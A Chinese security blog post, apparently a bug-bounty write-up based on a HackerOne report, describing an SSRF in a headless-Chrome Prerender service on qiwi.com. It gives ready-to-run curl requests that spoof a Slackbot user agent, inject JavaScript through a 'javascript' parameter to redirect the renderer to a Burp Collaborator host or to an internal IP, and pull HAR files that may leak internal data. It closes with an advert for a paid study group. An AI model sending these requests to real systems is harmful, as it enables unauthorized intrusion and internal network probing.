利用某种组件来实现SSRF
2024-7-11 20:46:42 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

正文

正常请求

在正常情况下,Prerender会接受用户代理为SlackbotLinkExpanding 1.0的请求,并渲染网页内容。这种请求不会包含恶意的JavaScript代码。例如:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'

这个请求只是简单地请求了https://qiwi.com 的内容,并不会包含任何恶意的JavaScript参数。

受到攻击之后的请求

受到攻击之后的请求会利用javascript参数来执行恶意的JavaScript代码。例如,攻击者可以发送一个包含javascript=window.prerenderData=window.location.replace参数的请求,将Prerender重定向到攻击者控制的服务器:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'

在这个请求中,参数 javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")会导致Prerender执行JavaScript代码,将页面重定向到攻击者控制的域名burpcollaborator.net,从而实现CSRF或其他攻击目的。

对比分析

  • 正常请求:请求的URL只是单纯访问目标网站的内容,不包含任何恶意代码或参数。

  • 攻击请求:请求的URL包含恶意的JavaScript代码,通过javascript参数注入,导致Prerender执行不该执行的脚本,进而实现内部网络探测或数据泄露。

攻击流程分析

如何发现目标使用基于Headless Chrome的Prerender HAR Capturer 5.6.0来渲染HTML、截图、生成PDF文件和HAR文件的

1.信息收集

攻击者可能首先会对目标网站进行信息收集,以了解其技术栈和运行环境。这可以通过以下方法实现:

  • 观察网站行为:攻击者可以访问网站并观察其行为,比如是否有任何明显的特性或指示表明使用了特定的预渲染工具。

  • 分析HTTP头:通过分析HTTP响应头,可以发现一些关于服务器和应用的信息。例如,某些预渲染工具会在响应头中包含特定的标识信息。

2.用户代理探测

攻击者可以通过改变用户代理字符串来探测目标网站的行为。Prerender工具通常会响应特定的用户代理字符串,比如来自搜索引擎的爬虫或特定的机器人。

curl -I -H "User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)" https://qiwi.com

如果网站的响应与正常用户代理字符串不同,则可能表明该网站使用了Prerender或类似的工具。

3.特定请求参数探测

攻击者可能会尝试向网站发送特定的请求参数,以观察响应行为。某些预渲染工具可能会响应特定的参数,比如renderType或javascript。

curl -I "https://qiwi.com/?renderType=har"

如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。

4.分析响应内容

通过分析网站的响应内容,攻击者可以发现一些预渲染工具的特性。例如,生成的HAR文件或PDF文件可能包含特定的标识信息。

攻击者可以使用以下命令来获取和分析响应内容:

curl -O "https://qiwi.com/?renderType=har"

如果响应中包含特定的内容类型或额外的信息,则可以推断出网站使用了Prerender工具。(事实上,里面确实有Prerender的特征)

5.文档和开源项目

攻击者可以参考与目标网站相关的文档和开源项目,寻找使用Prerender工具的线索。如果目标网站使用的技术栈是开源的,攻击者可以在代码仓库中查找相关信息。

通过以上步骤,攻击者可以逐步收集信息并推断出目标使用了基于Headless Chrome的Prerender HAR Capturer 5.6.0

事实上我们在漏洞挖掘一个目标的时候,也要注意一个网站所使用的技术栈,比方说,如果一个目标使用的是java技术栈,那么它很有可能使用的是restful风格的api(了解了这一点就可以更加方便的去测试越权等漏洞)

确定用户代理伪装

攻击者发现使用特定的用户代理字符串SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)可以触发Prerender来处理请求。

确定JavaScript注入点

攻击者发现可以通过GET参数javascript来注入并执行JavaScript代码。

构造恶意请求

攻击者构造一个包含恶意JavaScript代码的请求。这个代码将导致Prerender执行不该执行的操作,如内部网络探测或重定向到攻击者控制的服务器。

具体攻击流程和代码示例

1.发送普通请求以测试用户代理伪装

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com'

这个请求只是简单地测试用户代理伪装是否成功触发Prerender处理请求。

2.发送包含恶意JavaScript代码的请求

攻击者利用GET参数javascript来注入JavaScript代码,使Prerender执行恶意操作。例如,重定向到攻击者控制的服务器:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/")'

在这个请求中,javascript=window.prerenderData=window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/") 会导致Prerender执行以下JavaScript代码:

window.prerenderData = window.location.replace("http://rytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net/");

这段代码会让浏览器重定向到攻击者控制的服务器burpcollaborator.net,从而实现数据泄露或其他恶意行为。

3.内部网络探测

攻击者还可以利用同样的技术探测内部网络中的主机。例如,尝试访问内部IP地址:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace("http://10.250.33.17/")'

这会导致Prerender尝试访问内部IP地址10.250.33.17,从而确认该IP地址的存在和响应。

4.获取内部信息

通过查询特定参数(如renderType=har),攻击者可能会获取更多内部网络信息。例如:

curl -i -s -k -X 'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?renderType=har'

这种请求可能会返回包含内部IP地址等敏感信息的HAR文件。

总结

通过这个流程,攻击者利用Prerender的不安全配置,伪装成特定用户代理,注入恶意JavaScript代码,执行内部网络探测和数据泄露等攻击行为。每个环节的关键在于找到合适的注入点和伪装用户代理来触发Prerender执行不该执行的操作。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考

https://hackerone.com/reports/1153862


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495173&idx=1&sn=00c68e878f93a7d5b47b2d34badacc02&chksm=e8a5e466dfd26d7074dbb41a634b33c4bcaade974e842abf0c4b369dd3f889b31463cd40995e&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh